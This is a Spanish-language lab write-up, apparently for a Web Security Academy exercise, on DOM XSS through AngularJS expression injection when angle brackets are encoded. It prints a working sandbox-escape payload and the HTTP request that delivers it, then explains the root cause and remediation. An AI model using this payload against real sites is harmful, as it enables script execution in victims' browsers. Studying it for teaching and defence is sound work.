← Writeups

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

Ejecución de código vía directiva AngularJS ng-app cuando los angle brackets están codificados: el sandbox de AngularJS se elude con una expresión constructor.constructor('alert(1)')().

Target Overview & Vulnerability Summary

El laboratorio contiene una vulnerabilidad DOM XSS en la expresión AngularJS dentro de la funcionalidad de búsqueda. AngularJS escanea los nodos HTML que contienen la directiva ng-app y evalúa expresiones JavaScript encerradas en dobles llaves {{...}}. Este vector sigue siendo viable cuando los angle brackets (<, >) están codificados y el payload clásico <script> ya no aplica.

Campo Valor
Severidad Media-Alta (ejecución de JavaScript en el contexto de la víctima)
Endpoint vulnerable / (parámetro search reflejado en contexto AngularJS)
Root cause La app carga AngularJS con ng-app y refleja el input dentro de una expresión evaluada por el framework

Technical Breakdown & Exploitation Flow

1. Reconocimiento del contexto de renderizado

La página carga angular_1-7-7.js y declara ng-app en el body:

<script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
<title>DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded</title>
</head>
<body ng-app>

Al buscar, el parámetro se refleja con los angle brackets HTML-encoded:

<section class=blog-header>
    <h1>0 search results for '&lt;script&gt;alert(1)&lt;/script&gt;'</h1>
    <hr>
</section>

2. Ejecución vía expresión AngularJS

Como la búsqueda se refleja dentro de una expresión {{...}} de AngularJS, no se necesita romper markup HTML: se inyecta una expresión que evade el sandbox del framework. El clásico {{constructor.constructor('alert(1)')()}} accede al constructor global Function desde el constructor de un objeto primitivo y lo invoca:

{{constructor.constructor('alert(1)')()}}
GET /?search={{constructor.constructor('alert(1)')()}} HTTP/2
Host: <LAB-ID>.web-security-academy.net

Al cargar la página, AngularJS evalúa la expresión y llama a alert(1).

Root Cause Analysis

El patrón defectuoso es confiar en la codificación HTML como única defensa. La codificación de < y > (y las comillas dobles) bloquea la inyección de markup clásica, pero no impide que la cadena llegue a un motor de plantillas del lado del cliente. La directiva ng-app convierte el texto reflejado en código evaluable: la combinación de (a) framework de templating activo en el DOM y (b) dato no sanitizado dentro de una expresión evaluada es el root cause.

El payload explota la cadena de prototipos de AngularJS: {{constructor}} devuelve el constructor del objeto, .constructor encadena hasta Function, y la invocación ('alert(1)')() ejecuta el código. Es un bypass del sandbox de expresiones de AngularJS 1.x (CSP no mitigado en este lab).

Secure Remediation

  • No reflejar datos no confiables dentro de contextos evaluados por plantillas. En AngularJS, usar interpolación de datos ng-bind o {{}} solo con datos ya sanitizados y no confiar en el sandbox para input atacante.
  • Deshabilitar la directiva ng-app sobre nodos que rendericen parámetros del usuario, o migrar a un framework sin evaluación de expresiones (Angular 2+ sin {{}} en HTML generado).
  • Codificar al contexto correcto: dentro de una expresión de plantilla la codificación HTML no es suficiente; se requiere saneamiento previo y validación server-side del parámetro search.
  • Como defensa adicional, aplicar CSP que restrinja unsafe-eval (aunque AngularJS 1.x lo requiere para su funcionamiento, su presencia sin CSP limita el impacto de expresiones arbitrarias).